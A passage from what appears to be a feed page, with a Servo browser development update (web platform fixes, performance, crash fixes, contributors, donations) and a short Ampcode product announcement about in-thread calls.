      When using the Firefox DevTools , the Console tab now supports some basic autocomplete (@freyacodes, #46382).

      We’ve finished modernising servoshell for Android to use Compose UI (@veyndan, #46085, #46164, #46253, #46257, #46317, #46353, #46565, #46612, #46626, #46666, #46663, #46700), and we’re now migrating Servo as a library to use Kotlin (@veyndan, #46817, #46895, #46772).

      More on the web platform Inline SVG can now use web fonts defined in the containing page (@yodalee, #45979). We’re also implementing the SVG DOM , starting with stub interfaces for SVG­Element , SVG­Circle­Element, SVG­Defs­Element, SVG­Ellipse­Element, SVG­Line­Element, SVG­Linear­Gradient­Element, SVG­Path­Element, SVG­Polygon­Element, SVG­Polyline­Element, SVG­Radial­Gradient­Element, SVG­Stop­Element, SVG­Rect­Element, SVG­Symbol­Element, and SVG­Use­Element (@mu- mostafa98, #46558). < button> now vertically centers its contents (@Loirooriol, @mrobinson, #46590), and behaves better with ‘display: block’ and ‘display: inline’ (@Loirooriol, #46536). We’ve improved the conformance of < form> without < form action> (@kevlu93, #46860), < color> values (@Loirooriol, #46129), Gamepad­Event (@log101, #46788), document.execCommand(“delete”) (@Psychpsyo, #46539), the selector­Text property on CSS­Style­Rule (@simonwuelker, #46687), and Set Window Rect in WebDriver (@janeoa, #46475, #46477). We’ve fixed bugs related to < iframe> (@jschwe, @jdm, #46587), < img> (@yodalee, #46892), < textarea> (@SimonSapin, @mrobinson, #46309), custom properties (@Loirooriol, #46129), ‘::before’ and ‘::after’ (@Loirooriol, #46640), ‘flex-direction: column’ (@simonwuelker, #46697), ‘float’ (@Loirooriol, @mrobinson, #46407, #46500, #46505), ‘@font-face’ (@simonwuelker, #46568, #46271, #46436), ‘position: absolute’ (@simonwuelker, #46358, #46637), Blob (@jdm, #46881), IDB­Database and IDB­Object­Store and IDB­Index (@mrobinson, #46615), the adopted­Style­Sheets property on Shadow­Root (@simonwuelker, #46738), delete() on Font­Face­Set (@simonwuelker, #46634), move­Before() on Element (@mrobinson, #46599), resize­To() on Window (@janeoa, #46477), the selected property on HTML­Option­Element (@rhit-kapilaar, #46386), and the value property on HTML­Select­Element (@simonwuelker, #46230). Performance and stability

      2D canvas rendering is now multithreaded , improving frame rates by up to 55% and power consumption per frame by up to 42% (@yezhizhen, #46410), and should use a lot less memory too (@jschwe, @sagudev, #46786).

      Text rendering is up to 10x faster for cases with the same text and different ‘font-size’ (@Loirooriol, #46129).

      Flex layout benchmarks are up to 3% faster, and an improvement to get­Elements­By­Class­Name() has made some websites up to 1% faster (@Narfinger, @jdm, #46563, #46595, #46594).

      We’ve also reduced memory usage, allocations, GC rooting steps, and other operations in many parts of Servo (@mrobinson, @jdm, @yezhizhen, @Narfinger, @Gae24, @SimonSapin, @Taym95, @cychronex- labs, @arayaryoma, #46499, #46411, #46659, #45974, #46377, #45758, #46440, #46762, #46301, #46349, #46419, #46418, #46420, #46460, #46633, #46638, #46690, #46745, #46726, #46564, #46144, #46664, #46462, #46139, #46430, #46446, #46498, #46548, #46598, #46632, #46656, #46678, #46718, #46722, #46238, #46072, #46408, #46438, #46437, #46528, #46124, #46330, #46412, #46807).

      We’ve fixed a crash regression with memory corruption (@mrobinson, #46316), several dynamic-borrow- related crashes (@Narfinger, @SharanRP, @Taym95, @agrawalx, @amittenak47, @sungmen, #46381, #46384, #46405, #46684, #46452, #46770, #46830, #46763), plus crashes related to:

      We’ve continued our long-running effort to use the Rust type system to make Servo’s integration with SpiderMonkey safer and more reliable (@Gae24, @Narfinger, @TimvdLippe, @jdm, @kunalmohan, @lumiscosity, @simonwuelker, #46191, #46777, #46890, #46243, #46248, #46246, #46310, #46312, #46333, #46147, #46150, #46151, #46229, #46262, #46375, #46374, #46529, #46584, #46585, #46593, #46693, #46166, #46156, #46254, #46267, #46268, #46269, #46270, #46284, #46285, #46318, #46435, #46461).

      New contributors A special thanks to the following people for landing their first patch in Servo: Umut Cevdet Koçak (@UMCEKO, #46256) Yash Agrawal (@agrawalx, #46770) amittenak47 (@amittenak47, #46743) Apoorva Pendse (@apoorvapendse, #46739) dDostalker (@dDostalker, #46181) Oisín Ó Maolchathail (@eachra-bawn, #46478) Kevin Lu (@kevlu93, #46860) Mohamed Mostafa (@mu-mostafa98, #45405) SeongMan Jeon (@sungmen, #46763) Yoda Lee (@yodalee, #45979) Interested in helping build a web browser? Take a look at our curated list of issues that are good for new contributors! Donations __

      Thanks again for your generous support! We are now receiving 7824 USD/month (+1.8% from June) in recurring donations. This helps us cover the cost of our speedy CI and benchmarking servers, one of our latest Outreachy interns , and funding maintainer work that helps more people contribute to Servo.

      Servo is also on thanks.dev, and already 35 GitHub users (same as June) that depend on Servo are sponsoring us there. If you use Servo libraries like url, html5ever, selectors, or cssparser, signing up for thanks.dev could be a good way for you (or your employer) to give back to the community.

      We now have sponsorship tiers that allow you or your organisation to donate to the Servo project with public acknowlegement of your support. If you’re interested in this kind of sponsorship, please contact us at join@servo.org.

      7824 USD/month

      10000

      Use of donations is decided transparently via the Technical Steering Committee’s public funding request process , and active proposals are tracked in servo/project#187. For more details, head to our Sponsorship page.

    17. 🔗 Ampcode News Space to Talk rss

      Every thread in Amp now comes with its own space to talk.

      Hit Enter and you're in. Turn on your camera, share your screen, and talk it over with your team while the agent works.

      No links to paste, no calendar invite, no other app. The call lives where the work lives.

      In the future, we see the space becoming a place to talk freely, alone or with others: brainstorm, whiteboard, talk with Puck or other agents, discuss the thread or spawn new ones... who knows?

      We're leaving it open. For now, it's just a space. What you do with it is up to you.